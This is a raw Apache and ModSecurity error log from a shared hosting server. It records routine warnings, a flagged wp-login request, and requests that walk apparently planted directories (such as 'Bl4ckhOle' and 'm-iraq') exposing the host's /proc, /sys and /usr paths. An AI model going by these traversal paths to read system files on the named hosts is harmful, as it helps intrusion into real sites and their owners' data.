[Fri Jul 17 07:59:38.860889 2026] [security2:error] [pid 1993573:tid 1993573] [client 103.90.234.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "colperlab.com"] [uri "/wp-login.php"] [unique_id "almTknt8zp89pALg8Q5fzAAAAA4"], referer: https://colperlab.com/wp-login.php
[Fri Jul 17 07:59:38.911356 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.003576 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.094315 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.095771 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:39.185222 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.189151 2026] [proxy_fcgi:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:39.277683 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.372919 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.461984 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.463340 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:39.646364 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.827779 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.830881 2026] [proxy_fcgi:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:39.920028 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:39.963183 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTkziSeFVxYLkcq6IXvwAAAAc"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:59:39.963215 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTkziSeFVxYLkcq6IXvwAAAAc"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:59:40.918062 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-dns/ChangeLog"] [unique_id "almTlOnUgtv5ujFYWh_qHgAAAA0"]
[Fri Jul 17 07:59:40.918117 2026] [security2:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-dns/ChangeLog"] [unique_id "almTlOnUgtv5ujFYWh_qHgAAAA0"]
[Fri Jul 17 07:59:41.165392 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.166802 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:41.193825 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.289651 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.326418 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.329596 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:41.364428 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.380291 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.456214 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.466968 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.477631 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.483915 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.558606 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.575810 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.592553 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.594019 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:41.685565 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.686828 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 57.141.18.117:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory87/subsystem/devices/memory133/node0/memory124/subsystem/devices/memory59/subsystem/uevent
[Fri Jul 17 07:59:41.688834 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:41.740527 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.830230 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.922278 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:41.922826 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-dns/examples/"] [unique_id "almTlV2NhE8i6ppze4eoSQAAAAs"]
[Fri Jul 17 07:59:41.922851 2026] [security2:error] [pid 1994446:tid 1994446] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-dns/examples/"] [unique_id "almTlV2NhE8i6ppze4eoSQAAAAs"]
[Fri Jul 17 07:59:42.100485 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.116988 2026] [proxy_fcgi:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:42.193765 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.284582 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.288523 2026] [proxy_fcgi:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:42.381531 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.386108 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:40320] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:42.386612 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:42.465839 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.557087 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.600688 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:40338] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:42.648857 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.738232 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.830380 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.843988 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:40342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:42.851312 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:42.920966 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.010968 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.014209 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:43.102683 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.121301 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.194034 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.288130 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.377066 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.467522 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.558606 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.560160 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:43.650895 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.654038 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:43.740950 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.813038 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 57.141.18.43:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory72/subsystem/devices/memory60/subsystem/devices/memory75/node0/memory96/subsystem/drivers_probe
[Fri Jul 17 07:59:43.832457 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:43.940983 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.013635 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.015049 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:44.105715 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.195483 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.211463 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:44.287689 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.398458 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.470580 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.472339 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:44.562525 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.653656 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.692571 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.722581 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:40432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:44.742894 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.744881 2026] [proxy_fcgi:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:44.836058 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:44.926257 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.017948 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.051399 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.112234 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.117186 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.177937 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:40450] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:45.199575 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:40454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:45.204256 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.291074 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.389903 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.390037 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.471332 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.473346 2026] [proxy_fcgi:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:45.562751 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.566592 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:45.653662 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.654939 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:45.744341 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.745658 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:45.834574 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.926577 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:45.927882 2026] [proxy_fcgi:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:46.628627 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:46.848858 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:46.983229 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.79.10.100:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-run-systemd-journal-dev\\x2dlog.cagefs.mount/cgroup.event_control
[Fri Jul 17 07:59:47.553482 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:40598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:48.286562 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:48.376180 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 47.82.14.53:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/input6/device/subsystem/uevent
[Fri Jul 17 07:59:48.565551 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:48.694458 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:48.809319 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:48.917287 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTnJOFLENLI63GGOEE1AAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1142&page_105=1242
[Fri Jul 17 07:59:48.917316 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almTnJOFLENLI63GGOEE1AAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1142&page_105=1242
[Fri Jul 17 07:59:49.319289 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:40668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:49.342038 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.82.13.193:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/subsystem/drivers/hardware_error_device/uevent
[Fri Jul 17 07:59:51.709917 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:51.726400 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:52.099975 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:44508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:52.254151 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:53.176064 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:53.224156 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:55.322186 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:44704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:55.322466 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.104:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/subsystem/devices/memory8/subsystem/devices/memory114/phys_device"] [unique_id "almTow5GPQ6hs4VrfMo4QQAAAAY"]
[Fri Jul 17 07:59:55.322534 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.104:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/subsystem/devices/memory8/subsystem/devices/memory114/phys_device"] [unique_id "almTow5GPQ6hs4VrfMo4QQAAAAY"]
[Fri Jul 17 07:59:55.977315 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:44724] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:57.469347 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:57.473101 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:44800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:57.586271 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:57.674757 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:57.766313 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:58.323660 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:58.762353 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:44862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:58.871520 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:44902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:59.631622 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:00.592958 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:00.736430 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:01.053325 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:01.602318 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:01.671279 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/cpanel-php84-mdb2/docs/TODO"] [unique_id "almTqd0t9Kb_MdNxrg65WQAAAAM"]
[Fri Jul 17 08:00:01.671331 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/cpanel-php84-mdb2/docs/TODO"] [unique_id "almTqd0t9Kb_MdNxrg65WQAAAAM"]
[Fri Jul 17 08:00:01.689574 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:02.093124 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:02.113130 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:02.159405 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:02.242714 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:02.495476 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:02.939161 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:00:03.871571 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:34162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:04.089778 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34180] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:04.144650 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory57/node0/compact
[Fri Jul 17 08:00:06.339720 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:34278] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:06.944000 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:34330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:00:07.341998 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory94/node0/compact
[Fri Jul 17 08:00:07.433222 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory78/node0/compact
[Fri Jul 17 08:00:07.525485 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory42/node0/compact
[Fri Jul 17 08:00:07.615775 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory91/node0/compact
[Fri Jul 17 08:00:07.664663 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
